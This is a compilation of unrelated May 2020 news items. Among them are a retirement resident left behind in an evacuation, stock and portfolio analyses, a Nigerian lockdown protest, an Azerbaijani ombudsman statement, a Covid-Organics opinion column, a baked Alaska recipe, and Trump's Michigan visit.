Meanwhile, Hamilton police say they conducted an investigating involving the home.

Jackie Penman, police spokesperson, said officers investigated an incident in which a senior was mistakenly left alone in the evacuated retirement home for 18 hours. All residents in the home were meant to be transferred to hospital, though two made their own alternative arrangements.

The incident was investigated by our uniform patrol and reviewed by our crimes against seniors unit, Penman said. Based on information we received from the hospital at the time of admission, criminal charges are not warranted at this time.

No one made a formal complaint, she said.

An executive with St. Josephs Healthcare, one of the hospitals involved in the evacuation, apologized for the incident. Another with Hamilton Health Sciences called the mistake shocking, but added the homes operator also shares responsibility.

There was no master list of who lived in the home, said Winnie Doyle, executive vice-president of clinical operations at St. Josephs Healthcare.

No one from Rosslyn Retirement Residence has responded to requests from The Spectator for comment.

A debriefing on the how the resident was missed was scheduled for Thursday.

We can say the situation underscores the difficulty of going into a congregate setting where staffing has become an issue, and there are no staff available who know the residents or are familiar with the complete layout of the home, said Elaine Mitropoulos, spokesperson for St. Joes. Learnings from this suggest a necessity for congregate settings to have available a current master list of all residents, and a system set up to easily identify each resident to match against that list.

Mitropoulos said it is also important for homes to have early infection prevention control measures in place and ideally have some staff available who are familiar with the home and its residents.

Doyle has described a chaotic situation during the nearly nine-hour evacuation. No Rosslyn staff were remaining at the home, largely due to 20 being infected with the virus.

Meanwhile, the premier gave Hamilton two shout-outs during a provincial briefing on Thursday.

Premier Doug Ford said two Hamilton-based COVID-19 research proposals  one from St. Josephs Healthcare and one McMaster University  are among 15 the province is funding through its COVID-19 Rapid Research Fund.

Any of these are groundbreaking projects, Ford said, adding, I want that vaccine to be discovered right here in Ontario.

The St. Joes proposal is relating to rapid testing method that could see labs process 6,000 tests a day. Ontario is currently able to process 20,000 tests a day. The McMaster proposal is focused on a study of antibodies in recovered COVID patients.
We think intelligent long term investing is the way to go. But along the way some stocks are going to perform badly. To wit, the China Shineway Pharmaceutical Group Limited (HKG:2877) share price managed to fall 61% over five long years. That is extremely sub-optimal, to say the least. Shareholders have had an even rougher run lately, with the share price down 23% in the last 90 days.

See our latest analysis for China Shineway Pharmaceutical Group

While the efficient markets hypothesis continues to be taught by some, it has been proven that markets are over-reactive dynamic systems, and investors are not always rational. By comparing earnings per share (EPS) and share price changes over time, we can get a feel for how investor attitudes to a company have morphed over time.

During the five years over which the share price declined, China Shineway Pharmaceutical Group's earnings per share (EPS) dropped by 5.4% each year. Readers should note that the share price has fallen faster than the EPS, at a rate of 17% per year, over the period. This implies that the market is more cautious about the business these days. The low P/E ratio of 7.50 further reflects this reticence.

You can see below how EPS has changed over time (discover the exact values by clicking on the image).

SEHK:2877 Past and Future Earnings May 22nd 2020

This free interactive report on China Shineway Pharmaceutical Group's earnings, revenue and cash flow is a great place to start, if you want to investigate the stock further.

What About Dividends?

It is important to consider the total shareholder return, as well as the share price return, for any given stock. Whereas the share price return only reflects the change in the share price, the TSR includes the value of dividends (assuming they were reinvested) and the benefit of any discounted capital raising or spin-off. Arguably, the TSR gives a more comprehensive picture of the return generated by a stock. We note that for China Shineway Pharmaceutical Group the TSR over the last 5 years was -52%, which is better than the share price return mentioned above. This is largely a result of its dividend payments!

Story continues

A Different Perspective

We regret to report that China Shineway Pharmaceutical Group shareholders are down 17% for the year (even including dividends) . Unfortunately, that's worse than the broader market decline of 4.6%. Having said that, it's inevitable that some stocks will be oversold in a falling market. The key is to keep your eyes on the fundamental developments. Regrettably, last year's performance caps off a bad run, with the shareholders facing a total loss of 14% per year over five years. We realise that Baron Rothschild has said investors should "buy when there is blood on the streets", but we caution that investors should first be sure they are buying a high quality business. It's always interesting to track share price performance over the longer term. But to understand China Shineway Pharmaceutical Group better, we need to consider many other factors. For example, we've discovered 2 warning signs for China Shineway Pharmaceutical Group that you should be aware of before investing here.

We will like China Shineway Pharmaceutical Group better if we see some big insider buys. While we wait, check out this free list of growing companies with considerable, recent, insider buying.

Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on HK exchanges.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
A meeting of the UN Security Council in New York (Photo: AFP/ VNA)

The ambassadors and Guterres exchanged views on matters regarding the agenda of the UN Security Council (UNSC), covering the fight against the COVID-19 pandemic.

Guterres said the UN and its Peacekeeping Operations (PKO) have shifted priorities towards helping countries cope with the pandemic, with specific activities.

Many countries and parties have responded to his call for global unconditional ceasefire, he said, adding that, however, some conflicts still develop complicatedly.

He highlighted the E10s significant role in pushing ahead with specific measures in order to maintain international peace and security, and cited pragmatic and diverse initiatives proposed by the countries when they hold the UNSC monthly presidency.

The countries lauded efforts of the UN Secretariat and Guterres to help countries cope with the pandemic.

The ambassadors said many of the UN Chiefs proposals and initiatives are practical, contributing to coordinating international cooperation, improving public awareness of pandemic impacts, and mobilising resources, especially for the areas hardest hit by the epidemic, thus supporting millions of people who are experiencing the humanitarian crisis.

For his part, Quy affirmed that Vietnam, together with the E10 and other UNSC member countries will back the UN Secretary Generals efforts to maintain international peace and security, cope with the pandemic and promote sustainable development.

Vietnam is holding the position as coordinator of the E10 in May.
Protesters in Waterside LGA, Ogun State, on Thursday locked down the area over the death of a pregnant woman, Waidat Adedeji, who reportedly died after she was unduly delayed by policemen enforcing a lockdown due to the coronavirus pandemic.

The protesters also accused one of the policemen of mistakenly hitting the victim while she was on her way to access medicare.

The police have denied the allegation.

The protesters, who later besieged the Abigi Divisional Police Headquarters, said the victim would have survived if she was not delayed by the police officers as she made her way to Ita-Otu General Hospital, Ibiade.

A source said Mrs Adedeji, who was carrying a seven months old pregnancy, woke up around 6 a.m. bleeding.

While her husband would have taken her to the hospital with his motorcycle, the lockdown in the state would not permit him.

Instead, he called on a neighbor who is a Man O War member to assist him so he could talk to the police officers at checkpoints.

As expected, they were reportedly stopped by officers at Sore River checkpoint who asked them why they refused to use face masks, obey social distance and lockdown order in the state, the source added.

The police stopped the motorcycle to question why the lockdown order was not being obeyed. They were delayed for hours while she (Mrs Adedeji) continued to bleed, Oduroye Akintayo, the cousin of the deceased told our correspondent.

The picture of the deceased during her life time

Not happy with the delay, the man (Man O War) driving the motorcycle had tough talks and disagreement with the officers condemning them for not considering the dying woman. In the process, an officer in anger tried to hit his torch light on the bikeman. Unable to dodge, the torch light was mistakenly smashed on the pregnant woman, he said.

He said after they were eventually released, Mrs Adedeji died before getting to the hospital.

Protest

Angered by the development, youth in the community took the remains of Mrs Adedeji to the Abigi Divisional Police Headquarters.

When we got to the police station, we dropped the remains of the woman on their counter and some of the officers ran away, a protester said.

Also, a right activist, Festus Ogun, who said he knew about the matter told PREMIUM TIMES on Thursday that the youth only demanded justice.

Justice must not just be done to the life wasted, it must be seen to have been done, he said. While Im sure the Ogun State Police Command would deny the facts and come with bogus lies, they must be told that the truth is sacred and impunity would have no place in this country.

This newspaper gathered that it took the intervention of the community leaders to pacify the protesting youth before the corpse was taken out of the police station by her families for burial.

Police react

PREMIUM TIMES repeatedly tried to contact the police spokesperson in Ogun State, but his known telephone numbers did not connect.

He was, however, quoted by Tribune online to have exenorated his men from the incident.

Protesters at Police station

Our officers were not responsible for the pregnant womans death, he reportedly told Tribune. There were three occupants on a motorcycle as against the directive of the state government that only two people should occupy a motorcycle at a time.

He explained: They were stopped and interrogated on why they did not obey the sit at home order. They informed the police that the woman was being conveyed to hospital for delivery, and having noticed that the woman was in pains, our men allowed them to proceed.

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Nigerias rights commission estimates that over 11 Nigerians have been killed by security operatives enforcing the sporadic lockdowns called by the federal and state governments as part of measures to curb the spread of the deadly coronavirus.

Nigerian lawmakers recently called for a probe into the extrajudicial killings.

PREMIUM TIMES also reported how more Nigerian were killed by security operatives than coronavirus did within two weeks.
An Oregon coast man was jailed earlier this week after calling 911 over 20 times during a two-hour period, deputies say.

Timothy Richard Swander of Waldport is accused of 24 counts of improperly using an emergency reporting system, among other charges, according to the Lincoln County Sheriffs Office. Hes being held in the county jail.

A deputy was dispatched late Wednesday to a Waldport-area house, where a woman barricaded herself in her bedroom after hearing Swander yelling and banging things around in another part of the home. The woman reported Swander was refusing to leave, deputies said.

The deputy saw Swander ripping fan blades off a ceiling fan then detained him, according to the sheriffs office. He appeared highly intoxicated, deputies said.

Swander was taken home, where he was given criminal mischief citations and released from custody, according to the sheriffs office.

But he called 911 shortly thereafter, demanding the deputy give him a ride back to the home where hed initially been detained so he could get his cigarettes, deputies said. The deputy returned his call and left him a voicemail, saying he wouldnt be coming back and warning Swander about misusing 911.

Swander then called 911 a total of 24 times over the next two hours, according to the sheriffs office. He made false reports and requested medics, deputies said, but he declined help when they arrived.

Dispatchers also warned him several times about his improper use of the system.

Deputies eventually responded to Swanders home and arrested him. Hes accused of 33 criminal counts, including one count of first-degree burglary, according to court records.

Deputies did not detail his relationship, if any, to the woman whose house he allegedly refused to leave.

-- Jim Ryan; jryan@oregonian.com; 503-221-8005; @Jimryan015

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By Azernews





By Akbar Mammadov

Azerbaijans Human Rights Commissioner (Ombudsman) Sabina Aliyeva has said Armenias holding illegal elections in occupied Nagorno-Karbakh region amidst COVID-19 crisis as well as the so-called "inauguration" in Shusha manifests Yerevans policy of aggression and separatism.

In the statement issued on 21 May, the Ombudsman stressed that the so-called "elections" run against the norms and principles of international law, have no legal force and have been resolutely and unequivocally rejected by the international community.

The ombudsman urged the international organizations, such as the UN, EUl, OSCE, International Peace Bureau to take urgent measures towards the withdrawal of Armenian troops from the UN-recognized territories of Azerbaijan, to give legal assessment to the crimes committed by Armenia in Azerbaijan, to restore the fundamental rights and freedoms of Azerbaijanis violated as a result of the Nagorno-Karabakh conflict.

"We are deeply concerned about the violations of the ceasefire by the Armenian armed forces, which are constantly firing on the positions of Azerbaijan in the nameless heights of the republic in different directions of the front, as well as civilian settlements", the statement reads.

Furthermore, the statement underlined the fact that ignoring the appeals of the UN, the World Health Organization and other international organizations in connection with the pandemic, the Armenian government continues to stage provocative actions in the region against the background of its aggressive policy.

"Even during the pandemic, the Armenian army continues to violate the ceasefire, which further aggravates the living conditions of people living in the conflict zone," added the ombudsman.

The Azerbaijani ombudsman also touched upon UN Secretary-General Antonio Guterres' call for a global ceasefire. "The Secretary-General's statement said that IDPs and others who have been victims of violent conflict are becoming more vulnerable", she said.

"Undoubtedly, Armenia's repeated violations of the ceasefire during the international security issue and pandemic-a global problem, are a clear indication of disrespect and disregard for the known statement of UN Secretary-General Antonio Guterres, along with disregard for international law and the principles of humanism", the ombudsman noted.

Aliyeva also referred to a special statement of Cecilia Jimenez-Damari, UN Special Rapporteur on the Rights of Internally Displaced Persons, on COVID-19, published on the official website of the UN High Commissioner for Human Rights on 1 April 2020, which stressed that during the pandemic, there is a risk that refugees may face restrictions in terms of medical examinations, water, sanitation, food and adequate living conditions, and discrimination.

"Given this point, it should be noted that living conditions in the settlements close to the conflict zone have worsened due to the pandemic. Thus, the provision of clean water to people living in these areas, and therefore their access to hygiene and sanitation services, is at risk", she noted.

The ombudsman also recalled the resolution 2085 adopted by the Parliamentary Assembly of the Council of Europe in 2016, in which it is emphasized that poor condition of Sarsang Reservoir located in the occupied territory of Azerbaijan, providing clean water to the population living in the occupied territories and adjacent areas, will endanger human life and lead to serious disasters.

"Unfortunately, the poor condition of the Sarsang Reservoir against the background of the fact of occupation has put the lives and health of Azerbaijanis in those areas at greater risk during the pandemic", she added.

The ombudsman reminded that Nagorno-Karabakh and seven surrounding regions of Azerbaijan are still under occupation as a result of the Armenian government's policy of aggression, ignoring UN Resolutions 822, 853, 874 and 884 and the requirements of international law in general. "As a result of Armenia's policy of ethnic cleansing and aggression, one million of our compatriots have become refugees and internally displaced persons, and their fundamental rights have been grossly violated. As a result of the aggression, more than 20,000 innocent people, including children, women and the elderly, were brutally killed and thousands were taken hostage and tortured."

The ombudsman also noted that in the context of the Armenian-Azerbaijani Nagorno-Karabakh conflict, the relevant UN Security Council resolutions defined the situation as "military occupation", and the European Court of Human Rights, in its decision on the case of "Chiragov and others v. Armenia", established that Armenia carried out an effective control over the occupied territories of Azerbaijan.

"At the same time, the resolutions, decisions and recommendations adopted by the European Union and the Council of Europe established the facts of the occupation of Azerbaijani lands and the control of separatist forces in those territories", the statement said.
Richard Snow (Trades, Portfolio), founder of Snow Capital Management, has released his portfolio for the first quarter of 2020. The guru reduced his holdings of Dow Inc. (NYSE:DOW) and Kohl's Corp. (NYSE:KSS), added to his holdings of Facebook Inc. (NASDAQ:FB) and Laboratory Corp of America Holdings (NYSE:LH) and bought into Tyson Foods Inc. (NYSE:TSN).





Snow looks for companies that are financially strong, but with stock prices that have been depressed due to temporary or intermediate term difficulties. Snow relies on extensive research to determine the probability of a solution, gain confidence in the company's ability to survive the difficulty and estimate the value of the stock once the difficulty has passed. Snow believes that, when using this strategy, the downside is protected because the stock price is already depressed, making it a reasonably safe strategy, yet one capable of achieving significant returns.

Portfolio overview

The portfolio contains 142 stocks, with 23 new additions. It is valued at $435 million and has seen a 17% turnover rate. Top holdings include JPMorgan Chase & Co. (NYSE:JPM) (3.41%), Centene Corp. (NYSE:CNC) (3.26%), Biogen Inc. (NASDAQ:BIIB) (3.17%), Bank of America Corp. (NYSE:BAC) (3.15%) and Commercial Metals Co. (NYSE:CMC) (3.10%).

By weight, the top three sectors include financial services (25.66%), health care (17.70%) and consumer cyclical (13.02%).

Dow

Snow reduced his holding of Dow with the sale of 237,524 shares. This represented a 93.78% reduction in the holding. Shares traded at an average price of $42.95 per share during the quarter and the sale represented a -1.80% impact on the portfolio.

Dow was spun off from parent company DowDuPont in 2019 before going public. The company produces commodity chemicals. As of May 22, the stock was trading at $36.09 per share with a market cap of $26.44 billion. According to the Peter Lynch chart, the stock was trading below its intrinsic value at the beginning of 2020.

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GuruFocus gives the company a financial strength rating of 4 out of 10 and a profitability rank of 4 out of 10. The company has an operating margin of 9.01%, placing it higher than 55.40% the chemical industry. A cash-to-debt ratio of 0.13 ranks the company lower than 78.81% of the industry.

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Kohl's

The guru also reduced his holding in Kohl's with the sale of 194,051 shares, representing an 81.41% decrease. The shares traded at an average price of $37.94 per share during the quarter and the sale represented a -1.37% impact on the portfolio.

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Kohl's is a U.S.-based department store chain. The store primarily retails clothing and softgoods. As of May 22, the company was trading at $17.44 with a market cap of $2.71 billion. According to the Peter Lynch chart, the company was overvalued at the end of 2019.

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GuruFocus gives the company a financial strength rating of 5 out of 10, a profitability rank of 8 out of 10 and a valuation rank of 9 out of 10. A cash-to-debt ratio of 0.12, which is lower than 78.86% of the industry, contributes to the low financial strength score. The company boasts a price-earnings ratio of 35.49, which is higher than 95.84% of the industry.

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Facebook

Snow added to his position in Facebook with the purchase of 46,346 shares. The shares traded at an average price of $196.62 during the quarter and the purchase represented a 918.65% increase in the holding. The purchase had an overall 1.78% impact on the portfolio.

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Founded by Mark Zuckerberg, the social media and technology company is based in California. As of May 22, the stock was trading at $234.57 per share with a market cap of $669.03 billion. According to the Peter Lynch chart, the company was overvalued at the end of 2019.

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GuruFocus gives the company a financial strength rating of 9 out of 10 and a profitability rank of 9 out of 10. The company has a cash-to-debt ratio of 5.83, placing it higher than 54.65% of the industry. An operating margin of 36.21% ranks the company higher than 93.40% of interactive media companies. The company has consistently seen operating cash flow increase.

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Laboratory Corp of America Holdings

With the purchase of 48,531 shares, Snow increased his holding in LabCorp by 244.23%. The shares traded at an average price of $168.30 during the quarter and the addition to the holding represented a 1.41% impact on the portfolio.

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The American company is headquarted in North Carolina. It operates one of the largest clinical laboratory networks in the world. As of May 22, the stock traded at $170.16 with a market cap of $16.52 billion. The Peter Lynch chart shows the company was overvalued at the end of 2019.

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GuruFocus gives the copmany a financial strength rating of 4 out of 10, a profitability rank of 9 out of 10 and a valuation rank of 5 out of 10. The company has a higher than average operating margin, but a cash-to-debt ratio of 0.05 places is lower than 96.05% of the industry.

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Tyson

Snow also bought into Tyson for the first time since the third quarter of 2019. The Guru purchased 95,868 shares at an average price of $75.28 per share. The purchase had a 1.27% impact on the porfolio overall.

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The Arkansas-based company operates in the food industry. It is one of the largest processor and retailers of meats in the world. As of May 22, the stock was trading at $59.19 per share with a market cap of $21.56 billion. The Peter Lynch chart suggests the company was trading at a fair value at the end of 2019.

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GuruFocus gives the company a financial strength rating of 5 out of 10, a profitability rank of 8 out of 10 and a valuation rank of 5 out of 10. The company boasts a forward price-earnings ratio fo 10.46 that is higher than 88.08% of companies in their industry. A low cash-to-debt ratio of 0.04 places it below 88.07% of the industry, but an Altman Z-Score of 2.93 places it on the edge of the safe zone.

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Disclosure: Author owns no shares in any of the stocks mentioned. The mention of stocks in this article does not at any point constitute an investment recommendation. Portfolio updates reflect only common stock positions as per the regulatory filings for the quarter in question and may not include changes made after the quarter ended.

Read more here:

Leon Cooperman Sells Fiserv and United Airlines During 1st Quarter

Steve Mandel Buys Into 3 New Holdings in 1st Quarter

Charles Brandes' Firm Buys Into Textron and Change Healthcare in 1st Quarter







Not a Premium Member of GuruFocus? Sign up for a free 7-day trial here.

This article first appeared on GuruFocus.






In an interview granted by the worlds former wealthiest man who held that position for close to two decades, Bill Gates attributed his mind blowing success to the environment that he was born into. He doubted if he would have been a runaway success if he had been born and raised outside American soil.

The African continent as a whole seems to be a cursed one as many of its inhabitants perform ground breaking feats outside its shores. Many were even rejected back home and were only validated when they left in frustration and anger.

We recall the cases of the Late Dr. Jeremiah Abalaka who claimed to have found the cure of HIV/AIDS. The government didnt give him a listening ear till he joined his ancestors. The inventor of the yam pounder was also a Nigerian scientist who got frustrated and sold his invention to the Japenese. Now the same government that ignored him massively imports it from his newly adopted country. I can go on and on to say how the continent has been shortchanged because of its harsh attitude towards innovations and scientific breakthroughs.

The latest news making the invention rounds is the herbal drug named Covid-Organics (CVO) made by some scientists from Madagascar. The scientists got critical support from the government and the President Andry Rajoelina openly boasted that his country was ready to export it to the rest of the world.

The cold world didnt greet his enthusiasm by opening their arms towards the labour of love by his countrymen. There was widespread skepticism especially from the World Health Organization (WHO) who was extremely cynical about the cure. WHO even went on to say that the covid 19 battle wouldnt be won this year as the virus was going to be around for a long time.

The body language of scientists the world over was downright contempt with the caveat Can anything good come out of Africa?

WHO never failed to sound the warning bells that the drug hadnt yet gone through any form of clinical trials and as such the veracity of it was suspect.

Some optimists were very happy that the death rate in Madagascar was zero and expressed delight in the bid of the country to export the drug. A few days after the tiny African nation recorded two deaths. The music didnt change as they still touted the efficacy of the drug as the new messiah for those desirous of having a covid 19 free world.

I will be as objective as I can without any needless sentiments because of my African origin. While a part of me is crying to the High Heavens to emphatize with my African brothers, another  the voice of reason tells me that the wonder drug from our African brother should be made to go through rigorous tests by countries who desire to purchase it. It is human lives we are talking about here and so it is necessary for the drugs to still undergo more tests before they are considered fit for human consumption. We mustnt allow our hearts to rule our heads and there is the critical need for emotional intelligence here.

World leaders have been known to reel out controversial solutions to nagging global challenges. We recall that the erstwhile President of The Gambia, Yahya Jammeh said he had the cure for HIV/AIDS and the current United States President, Donald Trump said chloroquine could permanently keep the covid 19 at bay.

I commend the President Muhammadu Buhari led government for purchasing some and first subjecting them to more clinical trials locally before administering them to the general public.

We should be our brothers keeper if indeed the drug is said to have all the curative attributes that its promoters say it has. Our solidarity shouldnt stop at merely being members of the African Union as we should massively support it and do the best we can to ensure that it goes far beyond the shores of Madagascar.

African nations should use this pandemic to critically look inwards especially as we have the largest collection of herbs in the world. Researchers and scientists should be encouraged to find the cure through the use of herbs which has fewer side effects when compared to western medicine.

We should stop the colonial mentality of outsourcing our brains to the west when we can provide a home grown solution to this pandemic and in the process generate revenue for our efforts. The world has transited into a knowledge economy and it is high time Africa keyed into it in order not to be left behind. The era of wealth being held in natural resources is now something of interest to history students. Our crude oil is increasingly getting valueless by every passing day and we are currently in a gargantuan dilemma as we cannot even sell most of the ones we have. The world is also fast moving away from oil dependency and smart nations with the finite resource are smartly investing in the novel gold  knowledge economy. Saudi Arabia through the aid of consulting giant, Mckinsey are investing heavily in many companies in the United States and Europe in order to prepare for the post oil era. What is Nigeria doing? Nothing apparently!

The former Chairman of the Independent National Electoral Commission (INEC), Professor Maurice Iwu claimed he has the cure for the dreaded virus. There is nothing so far on the part of the government to at least give him a listening ear. How tragic!

Going forward, Nigerian and African governments must create the enabling environment for intensive research to go on. The scientists cannot do it alone as the government needs to commit huge funds to make it happen. It is a huge shame that the medical doctors in Nigeria currently embarked on a strike to press home their demands for a better deal from the government.

The Afrobeat maestro, Fela Anikulapo-Kuti once sang in a hit song Colo mentality, that dem don release you but you never release yourself. Africans must have belief in a home grown solution that will emanate from this continent and diffuse to the rest of the world. Afterall Egypt is the cradle of world civilization.

The continent must reinvent itself and this pandemic provides the much awaited grand opportunity to do so.

Tony Ademiluyi wrote from Lagos and edits www.africanbard.com
The Rajasthan government has announced a reduction in mandi charge on sale and purchase of agriculture produce to provide relief to farmers.

The existing mandi charge on agricultural commodities, including jowar, bajra, maize, cumin and isabgol is 0.5 per cent. The government has now revised downward the charge to 0.5 per cent from 2 per cent, which the government in the first week of May had decided to levy additionally.

Chief Minister Ashok Gehlot took a decision in this regard on late Thursday night after discussing with representatives of trade organisations across the state related to the food business.

Similarly, the rate of mandi charge on agricultural commodities including oilseeds, pulses and wheat is 1.60 per cent. The government has now revised downward the charge to 1 per cent from 2 per cent charge, which the government had decided to levy additionally. Wool will be exempt from the charge collected for farmer welfare fund, an official statement said.

Recently, the chief minister asked the Cabinet members, MPs, MLAs, and entrepreneurs to express their views through video-conferencing, in which most of the public representatives demanded the removal of mandi charge.

Mandi trader on May 6 went on strike in a protest against additional two per cent farmer welfare charge on purchase and sale of all agri-produce.

About 247 agricultural produce mandis of the state are closed due to this strike.

Traders' association rued that levying such a fee in this time of crisis is fatal for food merchants of the state. On May 5, the Rajasthan government announced a two per cent farmer welfare duty on the purchase and sale of agricultural produce in state mandis to raise money for the Farmers' Welfare Fund.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
If youve been spending more time at home and youve already poured your heart and soul into making bread, puppy chow and other easy dessert recipes from your childhood, then its time to take it up a notch. Next time you decide to bake, try challenging yourself by making a dessert famous for being served at some of the best restaurants across America: baked Alaska.

Easy Recipes That Take Less Than One Hour

While this is not one of the dishes you can whip up with pantry staples, it is worth trying if you have the time. The dessert consists of layers of cake and ice cream that are assembled before being covered in a dreamy whipped, rum-based meringue. For a more modern spin with an extra-rich base, follow follow this chef-worthy recipe for Bread Pudding Baked Alaska.

Baked Alaska first made its appearance with the name Alaska Florida at the New York-based restaurant Delmonicos in 1867. Its a dessert soaked in tradition and, although its difficult to prepare, it is guaranteed to wow anyone that tries it. While this recipe is a true time investment, taking over 10 hours to make, crafting your own toasted meringue is unbelievably impressive. But if you feel like it might be too complicated to tackle, perhaps try taking an online cooking class first to level up your skills.

Baked Alaska is a great dessert to make if youre trying to pass the time, but its not for everyone. If youd rather attempt making a different show-stopping dessert, these are the most difficult but impressive desserts you can make at home.

Bread Pudding Baked Alaska

Ingredients

For the bread pudding mix

1/2 firm Pullman loaf of brioche bread

8 eggs

1/2 quart cream

1 quarts milk

1/2 pound sugar

3 1/2 ounces light brown sugar

1/2 tablespoon cinnamon

1 teaspoon nutmeg

1 teaspoon clove

1/2 teaspoon salt

1 tablespoon vanilla extract

vanilla ice cream

For the Italian meringue

Use 1 pound of sugar for every 1/2 pound of egg whites

For the gingersnap cookie garnish

4 ounces softened butter

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1 cup sugar

1 egg

1/3 cup molasses

2 1/3 cups all-purpose flour

2 teaspoons ginger

1/2 tablespoon cinnamon

1/2 tablespoon baking powder

1 teaspoon baking soda

2/3 teaspoons salt

For the warm chocolate sauce

3 1/2 cups water

1 cup light corn syrup

1 pound granulated sugar

6 ounces cocoa powder

1 1/2 pound semisweet chocolate

4 ounces butter

For plating the dessert

dash of desired alcohol

Directions

For the bread pudding mix

Preheat the oven to 300 degrees.

First cut the bread into small cubes and set aside. The pudding comes out lighter if the bread is fresh so do not dry out cubes.

Mix everything together, besides the bread cubes. Set the bread cubes in a full shallow hotel pan and pour mix over bread. Do not over soak the bread.

Bake the pudding in a 300 degree oven and set the hotel pan in a water bath.

Bake the pudding until it is souffled and bouncy. Let the pudding cool completely. When the pudding is cooked and cooled it should be a bit firmer than traditional pudding in order to be able to cut the forms. Once cooled, set in the fridge.

Once set, cut the pudding into rectangular blocks to desired size. Scoop out the center of the pudding as if to form a bathtub shape. Fill the cavity with scoops of desired brand of vanilla ice cream, smooth on top with an offset spatula and set in the freezer while meringue is prepared.

For the Italian meringue

Set egg whites in the Kitchen Aid bowl with the whisk attachment.

Put the sugar in a saucepan and add some water. Mix completely and begin to cook the sugar until it begins to boil vigorously. With a candy thermometer, cook the sugar to 240 degrees.

When the sugar reaches about 234 degrees, start whipping the egg whites until medium peaks and when the sugar reaches 240 degrees begin to pour sugar into whipping whites.

Continue whipping until the meringue is cool and has reached firm stiff peaks.

With a small offset spatula cover the bread pudding all around with the meringue and with a decorating pastry tip decorate the top with peaks of the meringue. Set back in the freezer.

For the gingersnap cookie garnish

Sift all dry ingredients together and set aside.

In a Kitchen Aid with the paddle attachment, cream the butter and sugar till smooth, then add the eggs and molasses.

Mix till combined and the add dry ingredients.

Mix completely and set dough on a sheet and let set in the fridge.

When set, form cookies in balls and flatten slightly on a baking sheet.

Bake cookies for 16 minutes at 300 degrees. Let cool completely and chop up with a knife to create the crunchy crumble garnish

For the warm chocolate sauce

In a heavy bottomed saucepan add your water, corn syrup, granulated sugar and cocoa powder. Bring all ingredients to a boil and wisk while boiling for five minutes to thicken and cook out the raw cocoa powder. Set aside for 10 minutes.

Then add your chocolate and butter. Mix well till completely incorporated.

For plating the dessert

Take the baked Alaska from the freezer and torch meringue slightly to toast.

Place Alaska on a platter and garnish with the gingersnap crumbs.

Take a dash of desired alcohol such as cognac and ignite carefully and gently pour all over the Alaska. Let flame till alcohol burns off.

Pour some of the warm chocolate sauce over the top and serve some extra on the side.

By this time the bread pudding will have softened a bit while the ice cream remains frozen. Cut and enjoy
President Donald Trump traveled to the crucial U.S. election battleground state of Michigan to visit a Ford Motor Co plant amid hostility with its Democratic governor over how quickly to reopen its economy during the coronavirus pandemic, opting not to wear a protective face mask.

Trump visited the Ford plant, which has been recast to produce ventilators and personal protective equipment, and met with African-American leaders to discuss vulnerable populations hit by the virus.

The president, who has said he is taking a drug not proven for the coronavirus after two White House staffers tested positive in recent weeks, did not wear a mask during this event even though Ford on Tuesday reiterated its policy that all visitors must wear them. He was to tour the plant later in the day.

Trump, a Republican seeking re-election on Nov. 3, has urged states to loosen coronavirus-related restrictions so the battered U.S. economy can recover even as public health experts warn that premature relaxation of restrictions could lead to a second wave of infections.

Michigan Governor Gretchen Whitmer, seen as a potential vice presidential running mate for presumptive Democratic presidential nominee Joe Biden, is facing a backlash from some critics against her stay-at-home orders in a state hit hard by the last recession. Trump has encouraged anti-lockdown protests against Whitmer held in Michigan's capital.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

In his meeting with African-American leaders, Trump spoke on the need to reopen churches, which like other parts of society have been affected by social distancing policies aimed at curbing the spread of the virus.

"We've got to open our churches. People want to go in. I saw a scene today where people tried to break into a church ... not to break in and steal something. They want to be in their church," Trump said, adding that he expected the U.S. Centers for Disease Control and Prevention to put out guidance on reopening places of worship as soon as Thursday.

Whitmer on Thursday moved to further reopen Michigan's economy through a series of executive orders.

Trump's visit also comes amid tensions over federal resources for Michigan, which has been hit by devastating floods. Trump on Wednesday threatened to withhold federal funding from Michigan over its plan for expanded mail-in voting, saying without offering evidence that the practice could lead to voter fraud - though he later appeared to back off the threat.

Trump on Thursday reiterated his opposition to mail-in voting but declined to discuss what funding he was considering trying to withhold.

"If you're president of the United States and you vote in Florida and you can't be there, you should be able to send in a ballot. If you're not well, you're feeling terrible, you're sick, you have a reasonable excuse, you should be able to vote by mail in," Trump said.

Trump on Thursday pledged federal support to help with the "very bad" dam breaks, saying the Army Corps of Engineers will help with the flooding problem. Rising floodwaters have displaced thousands of residents near the city of Midland.

Whitmer spoke with Trump on Wednesday.

"I made the case that, you know, we all have to be on the same page here. We've got to stop demonizing one another and really focus on the fact that the common enemy is the virus. And now it's a natural disaster," Whitmer told CBS News, describing her conversation with Trump.

Regarding Trump's funding threat, Whitmer said, "Threatening to take money away from a state that is hurting as bad as we are right now is just scary, and I think something that is unacceptable."

Trump won in Michigan in the 2016 election, the first Republican to do since 1988. Trump's handful of trips out of Washington since the pandemic went into full force have focused on election battleground states such as Arizona and Pennsylvania.
As many as 86 more persons tested positive for COVID-19 in Odisha, raising the total number of such cases in the state to 1,189, the Health department said on Friday.

